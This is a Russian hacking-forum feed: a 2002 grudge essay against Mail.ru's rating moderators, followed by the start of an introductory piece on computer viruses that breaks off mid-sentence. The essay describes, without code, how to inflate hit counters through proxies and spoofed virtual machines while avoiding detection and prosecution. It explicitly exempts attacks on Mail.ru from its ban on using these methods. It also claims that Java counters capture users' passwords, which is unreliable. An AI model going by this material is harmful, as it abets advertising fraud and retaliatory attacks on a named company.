не <br />будет). Слово, объясняющее корыстный мотив совершенного действия, <br />было сказано. А слово - не воробей, вылетело - не поймаешь. И <br />некоторые уважаемые мной люди успели увидеть публичное обвинение <br />меня в мошенничестве и высказали мне свое недоумение по этому <br />поводу. И я был вынужден давать им объяснения и показывать переписку <br />с Mail.ru. <br />И тогда я решил наказать Mail.ru. &quot;Ломать&quot; их - не ново, да и <br />мальчишество это с уголовщиной. Обращаться в Суд - долгая песня, да <br />и страницу они уже удалили. И не только ее, но и регистрационую <br />запись ресурса, усугубив нанесенное мне оскорбление небрежением к <br />моей воле. Я не кровожаден, мне пока достаточно апелляции к <br />общественному мнению, чтобы попытаться в корне пресечь &quot;бесплатное&quot; <br />оскорбление людей бескорыстно любящими деньги &quot;рейтингистами&quot; из <br />Mail.ru, и сделать это так, чтобы впредь и другим неповадно было. <br />Видит Бог, до этого момента я даже не задумывался о публикации моих <br />изысков о &quot;накрутке&quot; счетчиков. <br />Как это было на самом деле<br />В апреле 2001 года я пришел в Проект. Мне поставили задачу вывести <br />Проект на верхние строки рейтингов (желательно первое место и с <br />большим отрывом), т.е. необходимо было добиться посещаемости порядка <br />10-15 тысяч человек в сутки (50-100 тысяч показов страниц). Я считаю <br />идею Проекта очень перспективной, жизнеспособной и полностью <br />соответствующей поставленной задаче. Хорошей идее нужна лишь <br />правильная реализация, как алмазу нужна огранка, чтобы он засверкал <br />всеми цветами радуги. Дальнейшее поведение переработанного мной <br />Проекта подтвердило мои предположения. <br />В июне было принято решение о переводе проекта в стадию <br />реорганизации с продолжением финансирования минимально необходимых <br />для реорганизации работ и персонала. И я приступил к &quot;огранке&quot;. Для <br />начала я изучил требования всех основных &quot;поисковиков&quot; и <br />реорганизовал в соответствии с их требованиями представление <br />информации, добившись почти максимальной релевантности для ключевых <br />слов на страницах. Однако остались &quot;хвосты&quot; от первых разработчиков. <br />Например, в Expires было указано, что страницы не будут меняться две <br />тысячи лет. <br />Несмотря на то, что Internet в целом - инерционная система, резкие <br />скачки посещаемости отдельных ресурсов вполне допустимы и <br />свидетельствуют о качественных изменениях (переходных процессах) в <br />поведении. С 10 октября 2001 года и по 5 марта 2002 года Проект <br />непрерывно набирал посещаемость до более чем 500 человек в сутки и <br />только благодаря одному Yandex.ru. Более значительному росту <br />посещаемости мешал низкий индекс цитирования. Остальные же <br />&quot;поисковики&quot; просто взирали на &quot;памятник&quot;, воздвигнутый из Expires <br />первыми разработчиками. <br />И вот ночью 5 марта, через год (слава Богу не через 2000 лет) после <br />регистрации ресурса на Rambler.ru, их робот наконец-то &quot;проснулся&quot;, <br />перечитал ресурс и сразу же дал резкий скачок посещаемости. Эффект <br />был сравнимый с эффектом от регистрации ранее &quot;раскрученного&quot; <br />ресурса (что мной неоднократно фиксировалось). Как Rambler.ru и <br />обещали, что они &quot;покрывают&quot; порядка 65% RuNet-а, так и оказалось на <br />самом деле. Я никогда не верю саморекламе вроде &quot;Пресса о нас&quot; или <br />&quot;А вот мы какие хорошие&quot;, но тут я должен отдать должное - <br />Rambler.ru можно верить. <br />Поскольку ресурс работал в отладочном режиме, то в конфигурации <br />Apache стояло MaxRequеstsPerChild=1. Из-за этого ограничения в <br />кривой посещаемости появился горизонтальный &quot;стол&quot;. До 5-го мая я <br />занимался исследованием соответствия пропускной способности канала и <br />производительности сервера с одновременной правкой кода Проекта. <br />Когда же я убедился, что все нормально, то сделал <br />MaxRequеstsPerChild=0. Так появился второй скачок. В скором времени <br />я планирую выложить на сайте окончательную версию проекта, и это <br />будет третий скачок. <br />Все изложенное мной можно подтвердить, анализируя log-файлы ресурса, <br />которые я готов предоставить. Культурный человек, знакомый с теорией <br />и имеющий опыт обработки результатов экспериментов, если бы не смог <br />сам объяснить поведение кривой посещаемости, попросил бы объяснений <br />у автора, и только потом, взвесив все &quot;pro&quot; и &quot;contra&quot; и имея на <br />руках неопровержимые доказательства, обвинял бы в мошенничестве. Так <br />не было сделано и теперь я делаю вывод, что модераторы рейтингов <br />Mail.ru не обладает достаточной этической, правовой, научной и <br />технической культурой, следовательно - невежи и невежды. Становится <br />объяснимой попытка вымогательства, ибо, чем выше культурный уровень <br />человека, тем сложнее ему покуситься на преступление, и наоборот, <br />чем ниже - тем проще. По этой причине в приличном обществе невежам и <br />невеждам обычно указывают на дверь. <br />DURA LEX, SED LEX<br />Я категорически запрещаю использовать изложенные в статье <br />недостатки законодательства, факты, идеи и методы, как для <br />совершения преступных деяний против кого-либо, так и в <br />конкурентной борьбе. </p> <p>Запрет не распространяется на действия, направленные против <br />Mail.ru, до тех пор, пока Mail.ru не принесут публично извинение <br />за нанесенное оскорбление и не будет восстановлен status quo <br />счетчика. <br />Предвосхищая возможные обвинения, я заявляю, что не пользовался и не <br />пользуюсь &quot;накруткой&quot; счетчиков, не нарушаю Закон и стараюсь всегда <br />следовать нормам этики. И этого же ожидаю от других. И всегда <br />считаю, что каждый человек достоин уважения до тех пор, пока <br />неопровержимо не доказано обратное. И как культурному человеку мне <br />трудно преодолеть моральные барьеры и преднамеренно ущемить кого-то <br />в правах или совершить преступление. Мне проще найти решение сложной <br />задачи, ибо уровень моего интеллекта позволяет это делать. Это не <br />самореклама. Хорошо знающие меня люди подтвердят мои слова. <br />Чтобы не сталкиваться с неожиданностями, я предварительно рассмотрел <br />практически все аспекты проблемы и наметил пути реализации <br />поставленной задачи. Не скрою, &quot;накрутку&quot; я рассматривал как <br />временно допустимое средство, которое могло помочь ресурсу быстрее <br />подняться в рейтинге до уровня &quot;самораскрутки&quot; (верхние строки <br />рейтинга), когда &quot;накрутка&quot; уже будет не нужна. Но, чтобы <br />пользоваться &quot;накруткой&quot;, необходимо было выяснить юридические <br />последствия от ее применения, а также кто может &quot;поймать за руку&quot; и <br />как надо &quot;накручивать&quot; ресурс и не быть пойманным. <br />Размышляя над смыслом &quot;накрутки&quot;, я пришел к формулировке, которую <br />поместил в начало статьи. Поскольку в Уголовном Кодексе отсутствует <br />специальная статья, посвященная &quot;накрутке&quot;, то ее следует <br />рассматривать как обычное мошенничество. Поэтому, если во время <br />&quot;накрутки&quot; счетчика ресурса рекламодателю не наносится материальный <br />ущерб, то отсутствует законченный состав преступления в виде <br />мошенничества. Если ущерб отсутствует, то можно смело утверждать, <br />что проводится научный эксперимент, результаты которого возможно <br />лягут в основу статьи (диссертации). Цель эксперимента может быть <br />любой, от выяснения порога &quot;самораскрутки&quot;, до влияния Internet-а на <br />урожайность кукурузы. Лишь бы заявляемая цель выглядела <br />правдоподобно. <br />Об этике говорить не приходится, и так все ясно. Радует уже то, что <br />хотя бы удается избежать уголовного преследования. Российский <br />законодатель заранее побеспокоился еще и о том, чтобы log-файлы, не <br />говоря о результатах их обработки, нельзя было рассматривать в <br />качестве доказательств вины (но не невиновности из-за действия <br />принципа презумпции невиновности), благодаря логически неверным и <br />действующим в настоящее время юридическим определениям понятия <br />&quot;документ&quot;. <br />В 1993 году меня попросили написать рецензию на проект закона &quot;Об <br />информации, информатизации и защите информации&quot;. Для кардинального <br />улучшения смысла Закона я предложил сделать всего две вещи, а <br />именно: в начале текста закона дать логически точные и юридически <br />правильные определения понятий &quot;документ&quot;, &quot;документированная <br />информация&quot;, &quot;стоимость информации&quot;, &quot;несанкционированный доступ&quot; и <br />др., и изъять из текста государственную поддержку информатизации <br />из-за возможных злоупотреблений. В 1993 году я мог только <br />предполагать, а теперь мы все знаем, сколько было пролито крови и <br />какие финансовые потери понесла Россия из-за необоснованных <br />таможенных льгот благотворительным организациям и фондам. Сравнение <br />текстов проекта, рецензии и самого закона дает мне основание <br />полагать, что мои предложения были учтены при подготовке <br />окончательного варианта. Но во что превратились определения!!! <br />Думаю, что комментарии будут излишни, если сравнить текст закона и <br />данное мной в рецензии возможное определение: документ - носитель <br />информации (объект материального мира), путем изменения физических, <br />химических, механических или иных материальных свойств которого, <br />закодирована информация методом кодирования, позволяющим дать <br />однозначный ответ на вопрос: изменялась или нет информация на этом <br />носителе в течении заранее обусловленного времени. Много позже, в <br />1999 году в статье &quot;Возможен неблагоприятный диагноз&quot; я дал <br />обоснование и привел не претендующее на абсолютную точность, но <br />интуитивно правильное объективное определение понятия &quot;информация&quot;, <br />отличное от ныне действующего субъективного (информация - это <br />сведения...). <br />Итак, если Вы по собственной воле разместили ссылку на свой ресурс в <br />публичном списке участников рейтинга, и если эту ссылку помимо Вашей <br />воли и не по решению Суда персонал рейтинговой системы удалил из <br />этого списка, стоит сразу же требовать принесения Вам публичных <br />извинений и восстановления ссылки в списке вплоть до подачи иска в <br />Суд. Никакие внутренние правила (регламенты) рейтинговых систем не <br />могут оправдать публично уничижающее Вас самоуправство (нарушение <br />воли) и, тем более, публичное распространение порочащих Вас <br />измышлений (обвинение в мошенничестве без решения Суда). И не стоит <br />соглашаться с ничтожностью нанесенного Вам морального вреда, <br />поскольку сам по себе сделанный в лицо плевок ничтожен (достаточно <br />просто вытереться), но моральный вред от содеянного публично <br />несоизмеримо огромен (вплоть до инфаркта или суицида). И обиходный <br />смысл понятия &quot;накрутки&quot; тождественен обиходному понятию <br />мошенничества. <br />Однако вернемся к &quot;накрутке&quot;. Остался нерешенным вопрос о том, какая <br />из рейтинговых систем реально может &quot;поймать за руку&quot;. В мае 2001 <br />года я написал perl-скрипт, который имитируя работу броузера MS <br />Internet Explorer читал указанные страницы и все ссылки первого <br />уровня через публичные proxy, список которых регулярно публикуется <br />Yahoo.com. Сразу оговорюсь, что этот скрипт уже уничтожен и это была <br />разовая акция, которая легко отслеживается, и целью которой была не <br />&quot;накрутка&quot;, а выяснение качества работы различных рейтинговых <br />систем. В результате было выяснено, что Rambler.ru и SpyLog.ru <br />&quot;молча&quot; отбрасывают дискредитированные адреса &quot;на лету&quot;, в то время <br />как Mail.ru воспринимает дискредитированные адреса как &quot;честные&quot;. <br />Посещаемость ресурса по статистике Mail.ru выросла в тот день в два <br />раза. Мне очень понравился профессионально грамотный подхода <br />Rambler.ru и SpyLog.ru к дискредитированным адресам и тогда же я <br />впервые столкнулся с непрофессионализмом персонала Mail.ru. <br />Теперь стоит сказать несколько слов о java-счетчике. Сам по себе код <br />java-счетчика дает прибавку к трафику размером 1-2 Кбайт для каждой <br />страницы. При показе сайтом порядка 10 тысяч страниц в сутки общая <br />прибавка составляет 10-20 Мбайт. В месяц это составит 300-600 Мбайт. <br />За это приходится платить порядка 15-30 долларов США. И за это же <br />приходится платить пользователям. А эта прибавка составляет порядка <br />10 процентов от всего трафика пользователя. Итак, применение <br />Java-счетчиков приводит к увеличению финансовых затрат всех <br />участников Internet-а минимум на 10 процентов. А раз мы платим <br />деньги, то нам надо знать, за что же мы их на самом деле платим. <br />Java-счетчик передает такую информацию о компьютере пользователя <br />третьему лицу (модератору рейтинга), которую невозможно получить в <br />рамках стандарта HTTP. По этой информации модератор рейтинга может <br />узнать, откуда был осуществлен переход на страницу, какой сервиспак <br />установлен на компьютере, пароли и многое другое. Так нарушается <br />конфиденциальность сведений о лице и это может быть расценено, либо <br />как перлюстрация корреспонденции без решения Суда, либо как <br />получение несанкционированного доступа к компьютеру пользователя. <br />Т.е., самоуправство, граничащее с уголовно наказемыми деяниями, <br />нарушающими права людей. Получается, что все мы платим деньги за то, <br />что нарушаются наши права. <br />И в качестве одного из обоснований правомерности применения <br />java-счетчика приводится запрет в регламенте на посещение <br />участвующего в рейтинге ресурса со страниц порно-сайтов. Если Вы, <br />находясь в туалете или в публичном доме, нашли информацию о давно <br />разыскиваемом Вами товаре и месте его продажи, пришли в этот магазин <br />и купили товар, то это Ваше личное дело и никто не в праве осуждать <br />Вас за это. И это личное дело продавца, где ему размещать информацию <br />о своем товаре, ибо это он сам выбирает наиболее эффективное с его <br />точки зрения место размещения рекламы своего товара. И запрет на <br />размещение рекламы (информации) следует рассматривать, как цензуру, <br />которая запрещена Конституцией. А если некий &quot;цензор на общественных <br />началах&quot; встанет перед магазином, размещающим свою рекламу в <br />туалетах и публичных домах и начнет кричать, что все покупатели <br />этого магазина засранцы и прелюбодеи, то его можно и в милицию <br />определить суток на 15 за мелкое хулиганство. Или морду набить. Это <br />кому из них как повезет. <br />И сразу все становится понятно, надо только выстроить правильную <br />аналогию в привычной нам сфере. Вот, в качестве примера, фраза из <br />одного закона: &quot;перед использованием средство защиты информации <br />должно быть сертифицировано ФАПСИ&quot;. Давайте заменим слова и обороты <br />их синонимами: &quot;средство защиты информации&quot; на &quot;сейф&quot; (от <br />английского safe - сохранять, защищать), &quot;сертифицировано&quot; на <br />&quot;исследовано&quot; (сертификация - исследование образца на соответствие <br />предъявляемым требованиям) и &quot;ФАПСИ&quot; на &quot;постороннее лицо&quot; (вряд ли <br />ФАПСИ является подразделением Вашего предприятия). Получается &quot;перед <br />использованием сейф должен быть исследован посторонним лицом&quot;. Не <br />знаю как Вы, а лично я такому &quot;сейфу&quot; не доверю даже использованные <br />презервативы. <br />И последний вопрос, как технически организовать &quot;накрутку&quot; так, <br />чтобы высоко профессиональные команды не смогли бы отличить работу <br />виртуальных машин от реальных. Поиск в Internet-е компьютеров с ОС <br />Windows, затем их &quot;взлом&quot; и внедрение в систему кода для &quot;накрутки&quot; <br />счетчиков отметаю сразу, как явную уголовщину, которая подпадает под <br />действие сразу всех &quot;компьютерных&quot; статей УК. А милиции стоит <br />задуматься о поимке мошенников, которые пользуются такой <br />&quot;накруткой&quot;, ибо этот вид мошенничества, по определению, входит в <br />компетенцию подразделений по борьбе с преступлениями в сфере высоких <br />технологий. <br />Остается единственный вариант, учитывая особенности протокола <br />TCP/IP, создать на некотором компьютере (лучше - на нескольких) <br />систему виртуальных машин, максимально точно имитирующую в <br />необходимом для &quot;накрутки&quot; объеме работу реальных машин с ОС Windows <br />и различными броузерами из реального адресного пространства <br />Internet. Это сродни использованию публичных proxy, (их немного в <br />Internet-е и они прекрасно отслеживаются). Но, в отличии от proxy, <br />виртуальные машины, учитывающие особенности протокола TCP/IP, крайне <br />сложно выявлять и их можно сгенерировать на одном компьютере <br />несколько миллионов. И никакие java-счетчики или IPv6 не помогут их <br />отсеять. А если еще учесть особенности ныне действующего Российского <br />законодательства, то работу с такими машинами можно организовать <br />так, что предъявить обвинение в мошенничестве будет практически <br />невозможно. Другие варианты &quot;накрутки&quot; либо не дают должного <br />эффекта, либо легко выявляются и нейтрализуются. <br />Дорога в Ад<br />В правительстве США есть департамент DoD, который курирует научные <br />разработки в военной области. В недрах DoD родился проект военных <br />сетей передачи данных ARPA. Для применения в военной сфере <br />разработка получилась на редкость удачной. Потом, ничтоже сумняшеся, <br />эту разработку чуть-чуть подправили и применили в гражданской сфере <br />под именем TCP/IP. Сделано это было из благих намерений: зачем <br />тратить лишние деньги на разработку чего-то нового, когда вот оно <br />готовое решение - бери и применяй. И применили. Правда, сплошной мед <br />иногда отдавал привкусом дегтя, вроде червя Морриса-младшего, <br />Мелиссы, атаки Митника или DNS-шторма. Но это все были первые <br />звоночки, ибо авторы принятого решения не учли (или не знали), что <br />дорога в Ад вымощена благими намерениями. <br />Задачи, решаемые сетями передачи данных в условиях войны, <br />кардинально отличаются от задач мирного времени. На войне, если <br />подразделение (компьютер) будет срочно и скрытно передислоцировано в <br />другое место, то после марша подразделение должно быть <br />незамедлительно развернуто в боевой порядок и наладить <br />взаимодействие с остальными силами. Для этого бывает достаточно <br />связаться (модем и телефонная линия) с ближайшим подразделением <br />фельдсвязи (провайдер) и указать старый или получить новый номер <br />полевой почты (IP-адрес) войсковой части. Изменение пути доставки <br />приказов к этому подразделению (информации) должно происходить <br />просто и незаметно для всей остальной системы (Internet) военной <br />связи. И всегда должны существовать резервные пути доставки приказов <br />(каналы связи и модемные пулы других провайдеров). И не важно, по <br />какому пути доставлен приказ, важно доставить его максимально быстро <br />и важно, что приказу можно доверять, поскольку маршрут проходил по <br />своей территории (сеть провайдера, Ru.Net, Internet) и почтальоны <br />всегда были свои. Поэтому, как процедуры доставки (роутинг), так и <br />сами приказы (IP-пакеты) имеют простою форму, достаточную для <br />быстрой проверки достоверности по простым формальным признакам. А <br />если будет уничтожен батальон (отключен компьютер), то ни полк (сеть <br />провайдера), ни дивизия (Ru.Net), ни армия (Internet) из-за это не <br />должны быть дезорганизованы. Ибо, в армии потеря части не должна <br />приводить к потери целого. Иногда частью даже жертвуют во имя <br />спасения целого. Ебинообразие - основная черта любой армии. И все ее <br />части структурно просты, ибо для воссоздания структурно простой <br />конструкции (масштабирование) нужны небольшие затраты. И увеличение <br />численности армии происходит заполнением мобилизованными <br />резервистами предварительно развернутых кадрированных частей, <br />полностью укомплектованные вооружением и техникой. <br />В мирной жизни все иначе. Нас много и все мы разные. И каждый из нас <br />индивидуален. Цель мирной жизни - развитие общества, а это <br />невозможно, если все члены общества будут одинаково простые. Надо <br />чтобы все мы были по разному сложные. И это различие является <br />основной ценностью общества. И все индивидуальности объединяет в <br />единое целое статичная инфраструктура. А это и <br />водо-газо-электро-снабжение, и канализация, и милиция, и почта, и <br />школа, и детский сад, и дороги, и магазины, и дома и многое-многое <br />другое. И существенные изменения инфраструктуры сродни революциям и <br />очень болезненно воспринимается всеми, ибо рушатся устойчивые связи. <br />И потеря одного члена общества сказывается на всех. И это <br />невосполнимая потеря, ибо может привести к изменению пути развития <br />всего общества. И на формирование каждого своего члена общество <br />затрачивает большие ресурсы, ибо заранее невозможно сказать, кто <br />привнесет больший вклад в развитие общества, а кто меньший. И <br />невозможно сразу определить, кто является вором, а кто честным <br />человеком, поэтому априори предполагается, что все люди - честные, <br />но кошелек лучше держать всегда подальше. И в мирной жизни иногда <br />случается, что почта приходит не тому адресату и это допустимо, ибо <br />в мирной жизни мы не привыкли слишком доверять необычному. <br />Армия лишь небольшая часть общества, существующая только для защиты <br />общества и предназначена для ведения боевых действий. И не может <br />заменить собой само общество. Иначе - война. И чем дольше армия не <br />участвует в боевых действиях, тем сложнее структурно она становится, <br />тем больше в ней накапливается различных проявлений мирной жизни. И <br />этот процесс усложнения называется разложением армии. И армия <br />борется с разложением. Единственный эффективный путь борьбы - война. <br />Недаром США после 1945 года постоянно участвовали в региональных <br />конфликтах (Корея, Куба, Вьетнам, Камбоджа, Ирак, Косово, <br />Афганистан). Война все списывает и можно кого-то убить или послать <br />на смерть и ничего за это не будет, особенно если есть широкие <br />лампасы. И в армии начинают превалировать структурно простые, вроде <br />хамоватых и невежественных &quot;генерал-модераторов&quot; от Mail.ru. <br />Простота армии эффективна только тогда, когда есть четкая линия <br />фронта, с одной стороны которой - соратники, а с другой - <br />противники. И армия всегда проигрывает в борьбе с партизанами, когда <br />нет четкой границы между соратниками и противниками. Будь то во <br />время Великой Отечественной Войны, во Вьетнаме, в Афганистане, в <br />Косово или в Чечне. И только создание сложной инфраструктуры мирной <br />жизни делает возможным прекращение партизанской войны. Но это уже не <br />война и не в этом состоит задача армии. И простота армии в сложной <br />ситуации играет с ней злую шутку. В начале Чеченской кампании <br />Российская армия пользовалась для связи между подразделениями <br />широковещательными каналами радиосвязи. Во время артобстрелов <br />чеченские боевики, маскируясь в каналах радиосвязи под подразделения <br />Российской армии, корректировали огонь так, что обстрелу <br />подвергались подразделения Российской армии. И армия сама себя <br />уничтожала. <br />Неисповедимы пути пакетов<br />Я не буду рассматривать все возможные методы обмана в сети Internet. <br />Я и так уже сказал и еще скажу достаточно, чтобы умный человек смог <br />сам дальше развить мои мысли, а &quot;безбашенным&quot; все знать небезопасно <br />прежде всего для самих себя. Я опишу лишь один единственный <br />Чеченский вариант маскировки. Ибо, именно этот вариант наиболее <br />пригоден для использования в &quot;накрутке&quot;, которую практически <br />невозможно выявлять. И я не приведу ни одной строки кода, дабы меня <br />не могли обвинить в написании вредоносных программ, и намеренно <br />допущу некоторые умолчания и неточности, дабы меня не могли обвинить <br />в подстрекательстве к мошенничеству. <br />Рассмотрим процедуру роутинга, реализованную в протоколе TCP/IP. <br />Предположим, что имеется некий компьютер (клиент), который пытается <br />установить связь с другим компьютером (сервер). Клиент передает <br />IP-пакет (датаграмму) ближайшему роутеру (хопу), который объявлен в <br />таблицах роутинга клиента, как default. Дальше датаграмма передается <br />от хопа к хопу до достижения конечной точки маршрута или исчерпания <br />счетчика хопов пакета. Если по таблице роутинга хопа невозможно <br />определить, какой ближайший хоп знает куда направить пакет дальше, <br />то он направляется default router-у этого хопа. Заметим одну <br />особенность такой процедуры роутинга: она справедлива для любых <br />адресов источников и приемников датаграмм и любой хоп по умолчанию <br />знает свойства только ближайших хопов. Internet - глобальная сеть и <br />в ней постоянно что-то происходит. То компьютеры включаются, то <br />выключаются, то отваливаются каналы, то появляются новые. В общем, <br />сеть &quot;живет&quot; и поведение какой-то части сети не должно мешать <br />доставке пакетов других ее частей. И если какой-то хоп вышел из <br />строя, то его тут же готовы заменить несколько ближайших хопов, <br />создав обходной маршрут движения датаграмм. Так достигается <br />высочайшая надежность доставки пакетов, и, следовательно, всей сети <br />как средства доставки информации от одного компьютера к другому. И <br />именно это свойство используется для Чеченской маскировки при <br />&quot;накрутке&quot; счетчиков. <br />Мне могут возразить, что есть протокол TCP из стека протоколов IP и <br />он устанавливает статичный маршрут доставки датаграмм, как от <br />клиента к серверу, так и в обратном направлении. Да, это так, но с <br />несколькими оговорками. Во первых, процедура поиска маршрута <br />используется та же, что и для доставки простых датаграмм. Во вторых, <br />адрес следующего хопа для доставки пакетов в рамках соединения <br />хранится динамически, и только до тех пор, пока соединение не будет <br />закрыто. В третьих, такой маршрут не попадает в таблицы <br />маршрутизации и становится невидимым для других соединений. Иногда <br />встречается неполная реализация процедуры маршрутизации соединений, <br />когда маршруты временно размещаются в таблицах роутинга, тогда это <br />свойство можно использовать для прослушивания трафика от <br />интересующего компьютера. <br />Статически прописывать маршруты для каждого хопа - задача физически <br />нереализуемая, особенно для больших сетей. Для снижения затрат при <br />прописывании маршрутов был придуман RIP. Но, при использовании RIP <br />или его расширений (BGP, EGRP и др.) возрастает опасность <br />блокирования работы сети на неопределенное время, когда объем <br />служебного трафика начнет существенно превышать объем полезного. Вы <br />можете провести поучительный эксперимент, если у Вас под руками <br />имеется разнородная сеть с &quot;излишне умными&quot; маршрутизаторами <br />(порядка сотни компьютеров, порядка десяти роутеров CISCO, часть <br />которых соединена треугольником каналами связи с различной <br />пропускной способностью). Однажды, настраивая компьютер с HPUX в <br />одной организации с такой сетью, я не отключил на этой машине <br />DHCP-сервер и в конце RC-файла вставил команду reboot. Не помню уже, <br />но для чего-то мне это было нужно. И сеть встала. Скорость передачи <br />ftp-данных в 100 мегабитном сегменте сети стала что-то порядка <br />1.5-1.9 Кбайт/сек, хотя нормальная была 9-11 Мбайт/сек. Замерил <br />объем служебного трафика - 99 процентов. При выключении HPUX или <br />замене CISCO на простые HUB-ы работа сети восстанавливалась. <br />Пусть в сети имеются три компьютера: A (атакующий), B (имитируемый), <br />C (счетчик) и пусть в сети имеются два промежуточных хопа X1, X2. <br />Задача: имитация соединения между компьютерами по маршруту <br />B&lt;=&gt;X1&lt;=&gt;X2&lt;=&gt;C. Решение: поскольку маршруты движения пакетов в <br />сетях TCP/IP заранее никак не регламентирован, создать для <br />компьютера C иллюзию движения пакетов по маршруту <br />B&lt;=&gt;X1&lt;=&gt;A&lt;=&gt;X2&lt;=&gt;C. Сначала надо убедиться, что компьютер B <br />находится в сети. Затем, виртуальная машина на компьютере A посылает <br />пакет установления соединения на компьютер C такого вида, словно он <br />прошел по маршруту B&lt;=&gt;X1&lt;=&gt;A. Все остальные пакеты до закрытия <br />соединения будут двигаться по установленному маршруту A&lt;=&gt;X2&lt;=&gt;C и <br />должны иметь такие параметры, словно они предварительно прошли по <br />маршруту B&lt;=&gt;X1&lt;=&gt;A. Попытка проследить маршрут движения пакетов с <br />компьютера C до компьютера B даст маршрут B&lt;=&gt;X1&lt;=&gt;X2&lt;=&gt;C, поскольку <br />это будет уже новое соединение. Необходимо добиться, чтобы <br />виртуальная машина могла в необходимом для маскировки объеме <br />имитировать ОС и броузер компьютера B. Так для компьютера C <br />создается полная иллюзия работы с компьютером B и никакими <br />средствами TCP/IP эту иллюзию нельзя развеять. Вот такой вот <br />фокус-покус. <br />&quot;Здравствуйте, девочки...&quot;<br />Рейтинговым системам, в том виде, в каком они существуют в настоящее <br />время, грозит полная дискредитация. И не моя в том вина, лишь <br />пользуясь научным методом, я даю описание положения дел в этой <br />сфере, и, основываясь на результатах анализа, делаю синтез <br />возможного варианта развития событий. <br />Удаление ресурса из рейтинга свидетельствует о низкой квалификации <br />персонала, поскольку такой персонал либо не знает других методов <br />борьбы с &quot;накруткой&quot;, либо ему проще ущемлять права других, чем <br />работать своими мозгами. Это не добавляет доверия рейтинговым <br />системам. И поскольку действия персонала могут быть обжалованы в <br />Суде, то после двух-трех проигранных процессов (как и в случае с <br />законом &quot;О защите прав потребителей&quot;) персоналы рейтинговых систем <br />вообще прекратят удалять из списков участников рейтингов любые <br />ресурсы. <br />В результате, верхние строки рейтингов заполонят &quot;накрученные&quot; <br />ресурсы. Хорошо, если как-то удастся изобличать в мошенничестве <br />владельцев таких ресурсов. А если нет? Второе более вероятно, ибо <br />любое сомнение всегда трактуется в пользу подозреваемого <br />(обвиняемого). Следовательно, мошенники чаще всего будут оставаться <br />безнаказанными, и будут все более активно пользоваться доверием к <br />рейтинговым системам. Став невольными пособниками мошенников, <br />рейтинговые системы только усугубят потерю доверия. <br />Значительное снижение доверия приведет к снижению капитализации <br />рейтинговых систем, поскольку в основе этого вида бизнеса лежит <br />доверие к высокой квалификации и честности персонала. Как следствие, <br />снизится доходность бизнеса. И начнется отток квалифицированного <br />персонала. <br />И круг замкнется. Значительное снижение доверия приведет к <br />финансовым потерям, из-за чего возникнут сложности с наймом <br />квалифицированного персонала, из-за чего еще больше снизится доверие <br />бизнесу, из-за чего еще больше снизится доходность бизнеса, из-за <br />чего еще сложнее станет наем квалифицированного персонала, и т.д. <br />Это описание возможной схемы цепной реакции &quot;самоуничтожения&quot; <br />рейтинговых систем. Остается только инициировать процесс... <br /></p> <p>Кто-то, прочитав последний абзац, скажет &quot;вот и ***дец, пришли&quot;, как <br />тот одноглазый, который повел слепого в бордель через лес и выбил <br />себе веткой последний глаз, а в ответ слышит радостное <br />&quot;здравствуйте, девочки...&quot;... </p> <p>5 мая-14 июля 2002 года <br />Urix </p> <p>P.S. У меня есть две новости. Я не вождь троглодитов, поэтому начну <br />с хорошей. Прежде чем публиковать эту статью, я придумал, как надо <br />юридически и технически правильно без Java-счетчиков подсчитывать <br />рейтинги, поскольку, как и все честные люди, я заинтересован в <br />существовании рейтинговых систем с высоким уровнем доверия. Плохая <br />новость та, что хотя это и спасает от полной дискредитации <br />рейтинговые системы, но не является абсолютной панацеей. <br />18-20 октября 2002 года.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:53:18 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=30#p30 http://hackzona.youbb.ru/viewtopic.php?pid=29#p29 <p>Вирусы. Они бывают разные - например, грипп, гепатит, герпес; а бывают еще и<br />компьютерные. Вот о них, родимых, и поговорим. Что же это такое - компьютерный вирус?</p> <p>Объяснений, что такое компьютерный вирус, можно привести несколько. Самое простое -<br />бытовое объяснение для домохозяйки, которая ни разу в жизни компьютера не видела, но<br />знает, что Он есть, и что в Нем водятся Вирусы. Объяснение будет дано на примере<br />клерка, работающего исключительно с бумагами. Идея такого объяснения принадлежит<br />Д.Н.Лозинскому.</p> <p>Представим себе аккуратного клерка, который приходит на работу, к себе в контору и<br />каждый день обнаруживает у себя на столе стопку листов бумаги со списком заданий,<br />которые он должен выполнить за рабочий день. Клерк берет верхний лист, читает указания<br />начальства, пунктуально их выполняет, выбрасывает &quot;отработанный&quot; лист в мусорное ведро<br />и переходит к следующему листу. Предположим, что некий злоумышленник тайком<br />прокрадывается в контору и подкладывает в стопку бумаг лист, на котором написано<br />следующее: &quot;Переписать этот лист два раза и положить копии в стопку заданий соседей&quot;.</p> <p>Что сделает клерк? Дважды перепишет лист, положит его соседям на стол, уничтожит<br />оригинал и перейдет к выполнению второго листа из стопки, т.е. продолжит выполнять<br />свою настоящую работу. Что сделают соседи, являясь такими же аккуратными клерками,<br />обнаружив новое задание? То же, что и первый: перепишут его по два раза и раздадут<br />другим клеркам. Итого, в конторе бродят уже четыре копии первоначального документа,<br />которые и дальше будут копироваться и раздаваться на другие столы.</p> <p>Примерно так же работает и компьютерный вирус, только стопками бумаг-указаний являются<br />программы, а клерком - компьютер. Так же как и клерк, компьютер аккуратно выполняет<br />все команды программы (листы заданий), начиная с первой. Если же первая команда звучит<br />как &quot;скопируй меня в две другие программы&quot;, то компьютер так и сделает, - и<br />команда-вирус попадает в две другие программы. Когда компьютер перейдет к выполнению<br />других &quot;зараженных&quot; программ, вирус тем же способом будет расходиться все дальше и<br />дальше по всему компьютеру.</p> <p>В приведенном выше примере про клерка и его контору лист-вирус не проверяет, заражена<br />очередная папка заданий или нет. В этом случае к концу рабочего дня контора будет<br />завалена такими копиями, а клерки только и будут что переписывать один и тот же текст<br />и раздавать его соседям - ведь первый клерк сделает две копии, очередные жертвы вируса<br />- уже четыре, затем 8, 16, 32, 64 и т.д., т.е. количество копий каждый раз будет<br />увеличиваться в два раза. Если клерк на переписывание одного листа тратит 30 секунд и<br />еще 30 секунд на раздачу копий, то через час по конторе будет &quot;бродить&quot; более<br />1.000.000.000.000.000.000 копий вируса! Скорее всего, конечно же, не хватит бумаги, и<br />распространение вируса будет остановлено по столь банальной причине.</p> <p>Как это ни смешно (хотя участникам этого инцидента было совсем не смешно), именно<br />такой случай произошел в 1988 году в Америке - несколько глобальных сетей передачи<br />информации оказались переполненными копиями сетевого вируса (вирус Морриса), который<br />рассылал себя от компьютера к компьютеру. Поэтому &quot;правильные&quot; вирусы делают так:<br />&quot;Переписать этот лист два раза и положить копии в стопку заданий соседей, если у них<br />еще 